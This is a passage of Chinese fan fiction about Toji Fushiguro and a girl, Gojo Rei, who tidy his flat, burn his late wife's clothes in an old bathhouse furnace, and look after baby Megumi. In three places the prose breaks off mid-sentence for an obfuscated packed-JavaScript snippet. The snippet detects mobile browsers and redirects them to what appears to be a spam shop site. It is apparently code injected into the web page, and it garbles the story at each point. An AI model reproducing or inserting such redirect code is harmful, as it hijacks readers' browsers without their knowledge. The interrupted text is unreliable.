一个会用呆愣愣的目光瞪眼盯着自己、结果对视了还没多久就怯懦地挪开了视线的小屁孩,绝不是那种只看一眼就足以洞悉内心的家伙。 于是,甚尔安心了,伸了个懒腰,脚趾都从被炉的另一头钻出来了。本人倒是满不在意。 “除虫和打扫有关系吗?就算家里乱糟糟,他们也能正常干活的。”甚尔曲起腿,继续窝在这团暖烘烘的空气里,漫不经心地甩甩手,“收了钱就该好好办事嘛。” “唔……” 好像道理真是这样没错? 五条怜犹犹豫豫,一时不知道该说什么才好。 按理说,她应该接受甚尔的答复,放弃这个疲惫又麻烦的主意,这才是最正常的事件展开方式。可窝囊的答复到了嘴边,却忽然拐了个弯,变成分外硬气的“我觉得不是这样”。 “啊?” 甚尔还在甩着手,只是轻快的动作忽然僵在了半空。 居然能从五条怜口中听到否定,他有点意外。 “那你觉得怎样?”他干巴巴地说。 他其实没有质问的意思,只是话语不知怎么的,分外顺畅地以分外生硬的腔调说出了口。幸好五条怜完全没有留意到这一点——她还沉浸在自己说错话的懊恼之中呢。 改口肯定来不及了,扯开话题更不可能实现。短短地纠结了三秒钟,她就放弃了抗争,把真心话说出来了。 “甚尔先生,你家很乱……这么乱的环境,除虫公司的人看到了,肯定会觉得棘手的,除虫效果也绝对会大打折扣。” 她坦白道。 其实还有半句真心话是,要是被外人看到了乱糟糟的家,他们绝对会嫌弃的。 来到甚尔家的第一天,五条怜就已经觉得这儿乱得不行了。但她毕竟从未干过收拾的苦活,所以也从没动过收拾一下家里的脑筋,就这么得过且过了。 她可是寄人篱下的状态,还能有什么怨言呢? 得过且过。过得久了,她甚至产生了一种莫名的滤镜,也可能是老鼠心态在作祟,她觉得乱糟糟的家其实挺顺眼的,没有哪里不好。 很可惜,在疑似蟑螂的“巨大黑虫无名氏”昨夜堂堂登场之后,这层滤镜彻底破碎,化作尘埃消失无踪。 于是,所有顺眼的都变成了不顺眼,不顺眼的当然更加刺眼。再一想到乱成狗窝的家要被素不相识的陌生人全部看遍,她的自尊心彻底大爆发——然后就把那句“我不觉得”说出口来了。 “您放心,由我来负责收拾!”她赶紧替自己找补,“绝不会让您多操劳一点的!” 这话她说得居然毫不心虚,明明她这辈子还没收拾过什么东西,倒也不害怕闯祸。 但甚尔显然是意识到了这一点。他立刻坐起来,眯起眼,心情相当复杂。 “你一个人来弄的话,绝对会弄得一团糟。”他忍不住要叹气,慢慢吞吞从被炉里钻出来了,一叠声说,“行吧行吧,收拾吧收拾吧。” “谢谢您!” 好不容易才达成共识,可不能再拖延了。五条怜一路小跑到堆满纸箱杂物的客厅一角,勤快地这就开始干起来了——看来她对“巨大黑虫无名氏”的畏惧感已经消失地差不多了。 甚尔家总是乱糟糟,最大原因显然是空壳垃圾太多。 区区十分钟内,她翻出了十二个空瓶子、八条碎烟盒,还有看不出形状的奇怪纸盒。全部打包收走!搭在椅背上的衣服也收走收走! “咦?” 五条怜从纸盒的缝隙里抽出了一根长长的木棒,一端垂着几片羽毛,晃一晃,还能听到清脆的铃铛声。这是什么玩具吗? “给猫的玩具。”甚尔适时地给出解答。 “猫?”她连忙四下望了望,“家里有猫吗?唔……不会是饿死在哪个角落里了吧?” 他眯起眼,盯着她的目光像在看笨蛋:“没有。有的话也不至于被饿死吧?我家又不是什么死亡之屋。” “嘿嘿嘿。” 她讪笑了几声,努力把尴尬的话题掩过去了,可猫玩具该怎么办呢?她实在拿不定主意。 “丢了吧。”甚尔没有多做考虑,“反正家里没有猫……本来还打算养一只来着。” 所以才任由那个人早早买下可爱的逗猫棒。 “是吗……”五条怜眨眨眼。 其实她很好奇,只是不打算把疑惑直白地说出口。 还好,甚尔已自顾自地说下去了。 “结果玩具买了还没多久,就发现有孩子了。小孩和猫待在一起不太好吧?所以就放弃了养猫的念头。” 咻——他轻巧地把猫玩具丢进垃圾筒里,把塑料袋摩擦出刺耳的咔嚓声。 “反正以后也不会再养了。” 所以还是丢了吧。 他看起来,似乎不太高兴。 五条怜不知道他为什么蹙起了眉头,她只能感到甚尔身上弥漫着一股不愉快的氛围。或许应该说点安慰的或是开解的话语?她认真琢磨了好一会儿,连半个字都想不出来。 没有被安慰过的家伙,怎么可能顺利地安慰别人呢?她自嘲地想。 “你别磨蹭。”甚尔催着她,“快收拾。” 果然,他也不需要她的安慰嘛。 盘踞在苦恼和嘲弄瞬间消失无踪。五条怜点点头,接着干了。 说着会一起帮忙整理,实际上甚尔并未派上什么大用场,不过就是坐在一边监督着她的工作,顺便对于哪些东西要留哪些垃圾该扔发表高见,简直高高在上。 “是饼干盒诶。”她挖出了一个铁皮盒子,用力晃晃,能听到哐当哐当的声音,“好像还有饼干在里面。要丢掉吗,甚尔先生?” “我看看。”他慢慢吞吞靠过来,耷拉着的视线越过她的肩膀,落在铁盒上,“哦,这还挺贵的。看下过期了吗?” “最佳赏味期……2002年12月31日前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488821|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”五条怜抬头,瞄了一眼好几天没翻的日历,“过期大半个月了。” 甚尔轻轻咋舌,沉默了小半刻:“留着吧。赶紧吃掉就行了。” 过期饼干也能吃吗,里面会不会烂的不像样了?真叫人不敢想! 哆哆嗦嗦颤颤巍巍,五条怜把饼干盒放到一边,发誓绝不会主动打开这个魔盒。 接着往深处“挖掘”,又是巨大的纸箱。但不是空空如也的旧纸箱了——这是一台未拆封的崭新婴儿车。 “原来还买过这种东西啊?”甚尔自己都有点意外。 “要拆开吗?” “我自己来。” 终于,监工甚尔愿意主动做点什么了,拆开纸盒,倒出零散的婴儿车零件。五条怜觉得他真鸡贼,居然主动抢走了搭婴儿车这种乐趣十足的工作。 怨念归怨念,她可不会真把心里话说出口,干脆不盯着他了,接着干自己的脏乱活。 把客厅的最后一角清理干净,顺便收走搭在椅背上的最后一块毛巾,甚尔也拧上了最后一颗螺丝,拼得完美且漂亮的婴儿车立在清爽整洁的客厅里,简直像是奇迹——最奇迹的当属客厅居然能被整理干净。 轱辘轱辘轱辘。甚尔把婴儿车推到一边,转头看她。 “所以。”他说起重点,“家都被收拾空了,你看到昨天的那只虫子了吗?” “呃——!” 当真是收拾得太认真,五条怜完完全全把“巨大黑虫无名氏”抛到脑后了! 而且,仔细回想一下,刚才忙碌得过程中……咦,好像真没见到“巨大黑虫无名氏”? 甚尔精准地从她尴尬呆滞的表情中读出了她的一连串心思,顺势换上了一副戏谑的表情,看得五条怜更加尴尬,恨不得钻进垃圾桶里躲一躲才好了。 “肯定有虫子!”还好还好,有自尊心加持,她尚且还能与甚尔面对面,“您会找除虫公司的,对吧?” 甚尔叹气:“是是是。” 话都说出口了,实在没有多少耍赖的余地。他这就把电话线重新插好,在黄页上翻找了好一会儿,总算拨出了这个至关重要的电话。除虫公司也不负期待,半小时后就上门了,工作人员一个个都背着大罐药水,戴了防毒面罩,看起来很像是那种会利用生化武器毁灭世界的恶徒,有点吓人。 接下来,只要把垃圾全都清出去,再等待除虫工作完成就大功告成了。 五条怜一手提着两大包垃圾袋,一手把住婴儿车——这小东西倒是及时地派上了用场——艰难地挤出家门。甚尔跟在她后头,不知道什么总盯着婴儿车。难道是觉得自己的安装工作不够完美吗?她开始胡思乱想。 “哎,等一等。” 他说着,忽然折返回去,回来时,手中多了一个纸箱。 很熟悉的箱子,五条怜曾在衣柜中见到过。她曾偷看过一次,所以知道,里面放着带有花香味的、女人的衣服。 到了今天,花香味消失无踪,已经彻底闻不到了。一点潮湿的臭气侵入其中,一切再不如旧。 所以,甚尔决定把它丢掉。 19.五右卫门 丢垃圾是一门深奥的学问,而这一切都要得益于严格到令人发指的垃圾分类制度。每每想到自己费心费力分类好的垃圾的末路是被混成一大堆倒进海里,五条怜就觉得满心别扭。 当然了,这不足以构成她直到今天都还记不住垃圾分类的方式与各类垃圾投放日的原因。并且在收拾家里的时候,她也完全把垃圾分类丢到了脑后,一股脑地把没用的东西塞进垃圾桶里,当时的爽快彻底转变为此刻的苦恼,她都不愿意多看手中硕大的两个垃圾袋了——光是瞄一眼就觉得忧愁。 该把它们丢到什么地方去呢……都已经是午后时间了,她知道垃圾投放点下午一贯是不开放的。 要不然再等上一会儿,等到夜里再把东西丢过去?虽然这么做实在很像垃圾小偷就是了,尊严也绝对会大受打击。 最糟糕的处理办法是,现在就开始对垃圾进行分类,而这个办法,她光是想了想,就觉得很头大了。 要是人类不制造垃圾出来就好啦!——她冒出了不切实际的念头。 这点小小的妄想险些让她被甚尔甩到身后。倒不是因为她分心了,而是甚尔忽地改变了路线,绕过垃圾投放点,不知道要往哪儿去。 “去一个能处理掉垃圾的地方。”被五条怜问起时,他是这么说的。 谜题依然存在,烦恼一点没减,但她没有再多问了,加快脚步,紧紧跟住他。 一路绕到公寓楼的背侧,经过哐啷哐啷满是噪音的投币式洗衣房,再从两家蔬果店的缝隙之间钻过去,歇业的老旧澡堂出现在眼前,大门紧锁着,不过拦不住甚尔。他伸手钻进铁栏杆里,用力一掰,居然硬生生地把铁锁掰折了。 怪力! “进去吧。”他朝五条怜努努嘴。 偷偷摸摸闯进停业的旧澡堂,这种事情好像比夜里丢垃圾更像是个小偷了,真叫人紧张。 五条怜咽了口唾沫,也不磨蹭,赶紧溜进来了。 澡堂歇业了没多久,看起来还没有那种孤寂的萧瑟感,透过门上的玻璃,只能看到里头黑漆漆一片,不再运作的自动贩卖机冷冰冰站在室内一角,有些吓人。幸好他们的目的地并不是澡堂里面。 此处用的是旧式的浴桶,陈旧到需要用燃烧的柴火来加热浴缸里的水。甚尔看中的就是这些安装在浴桶下方的炉子——完美且合法(姑且)的焚烧炉。 甚尔的这些考量,五条怜是在点起火之后才意识到的。 “啊。”她想到了一点什么,“五右卫门。” 听到自言自语的嘀咕声,甚尔转头看她:“在说什么东西?” “想起了石川五右卫门的故事。” “这是哪个家伙?” “是战国时期的义贼,因为偷走了君王的宝物,被下令放进滚烫的油锅里煮死。”她指了指墙壁背后看不见的浴缸,“所以这种老式的、用柴火烧热的浴缸,叫‘五右卫门澡盆’。” “哦。” 他的脑袋又扭回去了,只余下乱糟糟的后脑勺对准五条怜。看来他对五右卫门和老式澡盆的故事全都不感兴趣。 拆开纸箱,把曾经一件件收起的衣服塞进炉子里,塞得满满当当,满到再也看不出衣服原本的式样。 然后,再拿出打火机,一连按下五次,才终于点亮了一点火星,小小的、橙色火焰爬到垂落的衣袖上,迅速将其灼成了黑色,烧出空洞,而后狰狞着爬向衣物的更深处。 噼啪噼啪,火烧到最旺时,会发出这般刺耳的声音。 甚尔坐在旁边,比自己预想得更平静地看着火焰吞噬了一切——这样的场景,在上一个冬天他便见过了。 实物烧成灰烬,在火熄灭之前,他会填满更多的助燃物。他烧完了所有的衣服和所有的垃圾,包括过去没能用上、未来也绝对不会再用的猫玩具。噼啪噼啪的声音不绝于耳,过去的记忆似乎也将燃烧殆尽,化作烟囱中冒出的黑烟,将小小的灰烬吐入周围的风中,被他吸进肺里,伴随吐息重新回到空气里,然后又是再一次的呼吸。 循环、削减,但这点灰烬永不消逝。所谓的难以忘却的痛苦,就是这么回事。 需要摆脱的大量垃圾,比想象中更快地解决完了。甚尔依旧坐在那里,不知道在想什么,五条怜不敢轻易靠近。 他似乎很消沉,也可能在难过,她不确定,但至少能看到他颓废的背影正佝偻着。她也不知道自己应当做点什么或是说些什么,只能迟钝地站在原地,嗅着焦味的空气。 等待着,等待着,他终于站起来了,把彻底用空的打火机丢进炉子里,转身,闷头往外走。五条怜迟钝了片刻,才意识到他们该回去了,赶忙跟上他的脚步。 离开澡堂,重新拧好门锁。焦臭的气味已甩在身后,空气却愈发沉闷,带着无言的寂静,紧紧压在胸口,让她喘不上气。 来时他们也没有说话,可至少一切如旧,此刻却压抑得可怕。她真想说点什么,但不知道该怎么开口。 除虫工作还没完成,这会儿没办法回家。他们无聊地在街心花园绕圈打发时间。 无聊感在一圈一圈的步伐中逐渐叠加,踟蹰感反倒是随之磨去了不少。看着他始终松垮的肩膀与背影,她终于忍不住开口了。 “对了,甚尔先生。”五条怜努力让自己的语调听起来与平常无异,“我以前听过一个说法,说是死去的人可以收到焚烧给他们的东西。就是,类似于祭品那样?” “哦。” 就和五右卫门的澡盆一样,甚尔不感兴趣。 五条怜气馁了几秒钟,不过她很快又打起了精神:“我还没有和您说过,其实和小惠一样,我的母亲也很早就去世了,而且……” “现在。” 甚尔生硬地打断了她。 “现在不是相互展示伤口,比一比我们之间谁更痛苦一点的环节。” 恍恍惚惚,似乎听到了啪嗒一声,可能是什么看不见的东西掉落在地,幸好没有砸得粉碎。她不由得一怔,低下头,把未尽的话语收回心底。 “……对不起。” 甚尔轻哼着,不知道是不是真的接受了她的歉意。 “‘而且’,然后呢?” 无聊的绕圈又走过一个循环,他忽然说。 “你刚才没把话说完。” “诶?”五条怜有点意外。 她本以为甚尔生气了,现在看来似乎并非如此。藏起的话语,似乎也能正经地说出口了。 “而且,母亲在我出生之前就去世了。” 甚尔停住脚步,低头打量了她一会儿:“那你是从死人肚子里生出来的?” “……嗯。” 倘若说起自己的身世,似乎所有人都会冒出同样的、带一点嘲讽感的质疑。她听得多了,也该习惯了,可五脏六腑还是抽紧起来,仿佛变成了那具被剖开的暴毙尸体。 许是走累了,甚尔在一旁的长椅坐下,仰着头,话语也懒散:“既然是这么辛苦才生出来的,你应该是很受宠爱的小孩才对吧?” 五条怜眨眨眼,有点意外。 从没有听任何人从这般乐观的角度谈论过自己的出生。 在那个家里,几乎所有人都觉得她是诡异而污秽的存在。 但比起厌恶,更多时候能得到的是无视,只如道具般摆弄着、使用着她,“爱”是几近稀少的存在。 所以,她轻轻摇头。 “不,没有的事。我没有真正被当作五条家的孩子对待。”她抿紧了唇,“可能因为我是侍女的孩子。” “父亲呢,是谁?” “是现在五条家的家主。” “哦——”甚尔眯起眼,忽然笑起来,像只郊狼,“那你是私生女。” “算是吧……”她没脸面承认,也无法否认,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14494842|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家主从不让我称呼他为‘父亲’。” 甚尔换了个坐姿,把长椅压出吱呀的声响。 “六眼呢?”他的语速变得稍稍有些快,“你说他是你的哥哥,那他也是家主的孩子?” “唔……不是的,按血脉来说,阿悟应该是旁系的后代,但他已经过继到家主的名下了。” “他会称你的父亲为父亲?” 好刁钻的问题。 五条怜咬了咬牙:“对。” “哈!” 现在他终于能轻快地笑出来了,歪过脑袋,斜眼睨着她,清楚地看到了她多么敏锐地躲开了自己的视线,只用灰白的后脑勺对着他。 真没礼貌,他想。 显然,冒出这般念头的甚尔并未意识到,最先表示出无礼的那方是自己。 他自顾自点了支烟,继续说下去:“你对他嫉妒吗?” “唔……我……”迟疑就是答案,她飞快地扯开话题,“我以为您对五条家不感兴趣。” “是不感兴趣。”他吐出一口烟,尼古丁的气味还盘旋在呼吸之间,“但如果是和御三家有关的腌臜事,我还是挺乐意听一听的。” 他的心态同爱看娱乐圈八卦的普罗大众完全一样。 “既然你和六眼不是同父同母的兄妹,为什么长得还挺像的?还是说你们五条家共用一张脸。” “呃……”她的表情有点僵,“有……种种原因。” 看来是问不下去了。 甚尔适时地收起好奇心,不再多说什么,长舒一口气,倒在了椅背上。无聊地伸进口袋里的指尖触碰到了一袋饼干,他想起这是出门前自己塞进去的。 这会儿依然回不了家,只能无聊地啃啃饼干了——巧了,这袋是最好吃的巧克力曲奇。 五条怜还窝在长椅的另一头,好似灰色的小老鼠,赌气般拧着身子。但她大概率是没勇气同他赌气的,所以这幅表现只是沮丧心作祟。 “喂。”甚尔晃着手里的饼干,决定给她分点甜头,“吃吗?” 小老鼠转过身来,畏畏缩缩地伸出爪子:“谢谢您。” “好吃吗?” “嗯!” “知道我是从哪里拿的吗?” “呃——” 有种不太好的预感要冒出来了。 甚尔迫不及待给出解答:“就是今天你翻到的过期饼干。” 果然是这样啊! 五条怜的面孔瞬间瘪了下去,不知道还以为她吃下的是“巨大黑虫无名氏”呢。 “这种事,您不如不告诉我……” 甚尔扯着嘴角,发出一声沉闷的笑:“就是为了看你现在的模样,所以才和你说的。” 是个混球呢,禅院甚尔。 潮湿的风从不知何处吹来,卷起一团很小的柳絮,落在长凳的木条上。春天要到了,甚尔忽然意识到这点。 在此之前,是没有阳光、终日落雨的寒冬,刺骨又冰冷,是最难熬的冬日。 从冬至之日后的不久,他介于“活着”与“死去”之间,真像是被某位物理学家关进盒子里的猫。温暖的季节自顾自地到来,叫人讨厌。 似乎又一团柳絮落进了婴儿车里,并且很可能砸中了禅院惠。他毫无征兆地哭了起来,害得旁人又要大张旗鼓地去关心他了。真麻烦。 甚尔一动不动,不愿过多在意。 置身事外的状态根本持续不了多久,手足无措的五条怜马上就凑过来求助了。 “甚尔先生……”她拽着自己的衣袖,也很麻烦,“小惠好像要你抱抱。” “啊?烦人的小子。” 嘴上说得无比嫌弃,他却早已经伏低了身,把禅院惠抱起来,顺势摘掉了他发间的柳絮。 嗯。春天确实要到了。 在“活着”与“死去”之间,还是继续丑陋地挣扎下去吧。 20.暮春闲暇 五条怜觉得禅院家发生了一些变化。 抛开做完除虫后连续半个月都没有消失的浅浅臭味不说,“巨大黑虫无名氏”确实再也没有露出过踪迹。 它究竟是真实的存在,还是不幸地遭遇毒手?这个问题变成了未解之谜。但这并不重要。 稍稍有点重要的是,甚尔居然打开了长久以来一直紧闭着的卧室的房门,把自己的栖息地从被炉挪回到了卧室的床上。 五条怜总觉得这点小小的变化代表了某种重大的转变,可却说不出应当是何种转变,毕竟他搬回卧室的这件事并不会对自己产生什么影响。 她依旧睡在客厅的沙发上,完全没有因为空间内少了一个禅院甚尔而变得自在更多。所以这也不重要。 近来最最要紧的改变,一定是甚尔开始工作了,总频繁地出门。回来时,可能会带上零食或便当,也可能大剌剌提着一把咒具,偶尔也会两手空空,只带回满身的香水味。表情倒是一如既往,平静且毫无波澜,根本猜不出他究竟出门做了什么。 况且,他也从不会说自己要去做什么,每次都是沉闷地吐出一句“我去办点事”,便消失在了门外,神秘兮兮。 如果是去工作的话,为什么不叫上自己呢?是他觉得没必要找她帮忙,还是上次表现得不够好,让他觉得自己帮不上忙? 如果不是去工作,他又跑出去做什么了? 有点好奇,但更多的是危机感在作祟。她怎么也坐不定,生怕某天甚尔推门进家,一开口就是“你还是别跟在我身边”这种话。 “惠惠,你能不能告诉我。”五条怜戳戳禅院惠鼓起的小肚子,“你爸爸到底在想什么?” 小海胆既不会说话,也不懂她的问题,倒是被她戳得发痒,咯咯笑着左右拧身,像只动来动去的螃蟹。虽然没办法予以解答,但这副模样足够逗笑五条怜了。 “好啦好啦,你肯定不知道。我也不知道。你爸爸是个很难懂的家伙。”俯身,她抱起禅院惠,轻轻晃悠着,“在他不需要我之前,我肯定会一直呆在这里的。我没有别的地方可去了……好了,我们去散步吧,好不好?” 赶在愈发沉重的小海胆从胸口滑下去之前,五条怜赶紧把他转移到了婴儿车上。 早春接近尾声,再过几周,就该称之为“暮春”了。拂面而来的风愈发温暖,连日的晴天几乎要让人忘记冬日的寒冷。 穿过连片的公寓楼,走过架在河上的狭窄小桥,河岸边满是堆积的樱花花瓣,带着一点泥污的粉色。这也是颇具春日感的元素。 就这么慢悠悠走着,就足够让小海胆高兴了。 他伸着手,想要去抓飞散的樱花,可惜努力了半天,连花瓣的边缘都没有摸到,他瘪着脸,怎么看都像是失落得要哭出来了。五条怜随手拾起一片落在邮筒上的花瓣给禅院惠,可他好像已经失去玩乐的兴趣了,玩了一小会,便把樱花捏在掌心里,估计是想要把它一直留在身边吧。 通常来说,和小海胆的散步会持续一个半小时,通常走到第四十分钟时,她就会觉得疲惫了,想要立刻折返回家。在这种时候,她都会问问禅院惠本人的意见。 “还想继续在外面玩吗,惠惠?” 如果得到的回答是高兴的咿呀咿呀,意味着她得带着小海胆继续穿梭在街市之间。但如果他发出了不情愿的呜呜声,便是正中她的下怀,可以立刻打道回府了。 今天嘛,小海胆的心情是咿呀咿呀——而且是格外活泼欢快的咿呀咿呀。看来今天的散步要持续好久了。 五条怜踮了踮略有些酸痛的脚尖,无奈一笑,推着婴儿车,继续往前走。才走了没几步,恍惚间瞥见到前方也有推着婴儿车的人影,她立刻停下,迅速折返,越走越快的脚步几乎像是逃跑。 “对不起,惠惠。”她小声说,“我们今天还是早点回家吧。” 她可不想和同样带着孩子的那群妈妈们打交道! 前几回散步时,总能遇到聚在一起聊得开心的新手妈妈们。见到同样推着婴儿车的自己,她们总会热情地打招呼,哪怕彼此之间压根就是素不相识的陌生人。 打完招呼之后,就到了更加热情的社交时间。她们会好奇地问起五条怜的身份,到底是年轻的妈妈还是负责任的长姐,也会询问她的育儿习惯,恨不得把她每天喂了多少刻度的奶都打探出来。 其实她们没有恶意,只不过太热情了点,热情到叫人吃不消。 想到经历过的那些尴尬对话,五条怜已经彻底没勇气和这些年轻妈妈们往来了。早点溜走才是上上之策。 她选了条远路,决定绕个大圈回家。小海胆完全不知道发生了什么,还在咿咿呀呀叫唤着,居然比刚才更活泼了,八成是五条怜刚才的急速逃窜足够有趣,把他逗乐了吧。 再走过两条街,就能回到家了。热情妈妈们早已被甩在身后,现在大可以慢悠悠地散步了。 五条怜偷瞄着街边水果店的爱媛橙子和晴王葡萄,还有烤得好香的碱水面包,有点后悔出门时没带钱包了。黑漆漆的当铺擦肩而过,她本不想驻足的,却还是不自觉停下了。 依然漆黑的店铺,依然泛着冷光的铁栅栏,被典当的家主的戒指,也许还在店里吧——不会有人想要去买一个刻着别人名字的戒指。 而这几个月来,她似乎并未长高多少,一眼望去,柜台还是那么高。甚至很可能比她还高,这个无生命体如同居高临下般俯瞰着她。 果然,无法轻易踏入。空空如也的钱包和自尊心定住了她的脚步。 或许有一天,她能比那高傲的柜台更高吧。或许某一天。 五条怜压低了头,接着往前走,信号灯闪烁着绿色的光,在某个瞬间消失无踪,化作和灯下的跑车同样鲜明的正红色。 对于跑车,她知之甚少,也不感兴趣。但就算凭着拙劣的认知,也能看出这辆流线型跑车是工业智慧与真金白银的结晶,如同红色箭矢般飞快地从眼前掠过。她难以置信地瞪大了眼,因为她看到了。 看到,禅院甚尔,坐在车里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14502624|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当然了,甚尔不是坐在驾驶座上——足够说明他不是有钱到买下来这辆漂亮跑车。他以懒散的姿态坐在后排,只用后脑勺对着窗外。在跑车短暂经过眼前的那个瞬间,她看到后排坐了另一个人,就在甚尔身边,明显是长发的女性,可惜看不起面容,也不知道他们在做什么。跑车倏地就开远了,留下一团难闻的尾气。五条怜推着婴儿车躲远了点,直到绿灯再度亮起,她还是没搞明白这算怎么回事。 揣着满心疑虑走回家,没想到甚尔居然已经回来了,横躺在客厅的小沙发上,一如既往的懒懒散散。 天一点一点热起来,被炉早就被撤掉了,他的舒适区就此转移至沙发上,闲着没事就躺倒,完全忘记了这地方可是五条怜的床。听到开门声,他也只是漫不经心地抬了下眼皮,探头看她,嘀咕了句:“去散步了?” “嗯。”她关紧门,挂上门链,“您今天回来得真早。” 甚尔缩回脑袋,把手里的遥控器按得啪嗒啪嗒响:“运气好,搭了便车回来的。” “哦……” 五条怜了然般点点头——看来刚才她没有看错。 更能佐证她的眼睛没出问题的是,她闻到他身上有股陌生的味道,是甜甜的香水味……等等,前几天是不是也闻到过类似的气味来着? 放下小海胆,她鬼鬼祟祟挪到了沙发后方,探着头,轻嗅甚尔身上的气味。 有点奇妙,在玄关时远远闻到的陌生气味显得很浓郁,现在距离拉近了,香气反而减淡了不少。 她试着又靠近了些,结果一抬头就撞上了甚尔的大脸。 “你在干嘛?”他嫌弃地皱着鼻子,“怎么像狗一样?” 被抓了现行,真是尴尬。五条怜慌忙后退几步,感觉脸都要僵了。 “没干嘛没干嘛……”她讪笑着,“只是在……呃……嗯……在想晚饭吃什么。” 甚尔一指桌上漂亮精致的黑色盒子:“寿司。” “真的吗?”简直是难以置信的惊喜!“现在可以吃了吗?” “吃吧。” “谢谢您!” 难得吃一回寿司,还是最高级的松套餐,五条怜暂且把心里那点小小的疑虑藏回深处,连“我开动了”都还没说,就已迫不及待地开始动筷子了。 “以前阿悟也经常叫我一起去吃松套餐的寿司呢。”她轻快地念叨着,“分量太大了,他一个人吃不完。” “喂。”甚尔拿筷子敲她的碗,不太高兴,“别吃着我花钱买的寿司说别人的事。” “抱歉抱歉。” 说起来,最近没有再为钱或是吃饭的事担心过,电话线也好端端插回去了。房东从未上门过,估计房租也已经结清了。 这么看来,或许甚尔真的有在认真工作? 像是读懂了她的心,或是她的心思又尽数暴露在脸上了,在夹走盒子里最后一块三文鱼寿司时,他说:“明天有个活。” 啪嗒——这是五条怜激动到弄掉了筷子的动静。 21.一较高下 终于久违地说起工作的话题了! 五条怜瞬间打起了精神,眼前的寿司也彻底失去了所有的吸引力。她满怀期待地看着甚尔,感觉心脏都在扑通扑通跳个不停。 接下来他肯定会说需要自己帮忙,对吧对吧?肯定是这样没错,她已经迫不及待了! “所以。呃。”话才说到一半,甚尔忽然停下了,疑惑地打量了她几眼,“你干嘛动来动去的,是吃饱了吗?吃饱了的话,剩下的寿司都归我了啊。” 五条怜眨眨眼,匆忙摇头。 她还没吃饱呢,而且她也没有动来动去的吧? 虽然感觉甚尔的话有点奇怪,但她还是乖乖地坐正了点,顺便一口气夹走了三个寿司,莫名感觉他看着自己的目光都变得有些嫌弃了。 “甚尔先生,您接着说吧。”她小小地催促着,“明天有工作,然后呢?需要我怎么帮忙?” “哦,对,刚才在说这个来着。我明天我会回来得比较晚,所以……” “所以——”五条怜又开始动来动去了。 甚尔灌下一大口麦茶:“所以你买晚饭的时候,记得帮我多买一份。” “……啊?” 五条怜一下子不动了,筷子可怜巴巴地竖在半空中,表情都快耷拉到桌上了。 就……就这呀? 她还以为甚尔会让她帮忙打下手呢,譬如像是继续当诱饵,或者是——呃——和这相关别的事情之类的! 对他的工作实在是知之甚少,五条怜连“譬如”都譬如不出来什么。但不管怎么说,帮忙多带一份晚饭,这可不是什么真正帮上了忙的工作! “喂喂喂,你干嘛摆出这幅表情嘛?我又没对你提出什么无理取闹的要求。” 看她满脸失落,甚尔的嘴角也不由得耷拉下去了。看来名为沮丧的这份情绪实在是太具传染性了。 “帮忙买饭也是很重要的工作啊。我可不要辛辛苦苦干了一天活回家,还要操心晚上吃什么的问题。” 五条怜的脑袋垂得更低了,应声也无精打采:“您说的是……明晚我会帮您买好饭的……” 她确实没觉得甚尔无理取闹,她只是对没派上用场的自己有点失望而已。 甚尔多少能猜出来她在想什么,但懒得照顾她这点小情绪,轻哼一声当做知晓了,继续专心吃饭。 只是吃着吃着,他又抬起头了,依旧是不太高兴的表情。 “只需要做轻松的事情,不是挺好的吗?”他撇撇嘴,“还在不高兴什么呢?” “我没不高兴。”她说了句显而易见的谎话,不过没再继续嘴硬下去了,“我只是在想,我是不是能多帮您一点忙。您也说工作很辛苦,不是吗?要不带上我一起吧,我肯定能让您更轻松的!” “不要。” 甚尔都没多想,毫不犹豫地给出了拒绝。 “我可不乐意在工作的时候再分心照顾小孩。” “我已经不是小孩了!”五条怜又把嘴硬的坏习惯拾起来了,“上次我也帮上忙了呀!” 就是百分百油头变态的那回。尽管过程不算太顺利,但结果绝对算得上圆满! 甚尔瘪瘪嘴:“那次只是打算投机取巧而已,也不是每次我都需要抛出小姑娘当诱饵。而且你就是个臭屁小孩没错,这一点你还是别狡辩了。” “我——” 她还是想反驳,却被甚尔打断了。 “你站起来。” 站起来干嘛?完全搞不懂他的想法。 五条怜收起满腹怨念,配合地撑着桌面站起身来。甚尔也起身了,站到她旁边,难得挨近的距离让他看起来简直像个庞然大物,顶灯投落的他的影子完全笼罩着自己。他抬起手,压在五条怜的头顶上,把他们之间的身高差表现得更加鲜明了。 “一点都没长高。”拍着她的脑袋,甚尔故意把叹气声弄得很响,“还是个矮子。” “会……会长高的!” 她又不是春天的竹笋,才不会在几个月内发生翻天覆地的变化呢! 甚尔斜眼睨着她:“反正比我矮的就是小屁孩。” 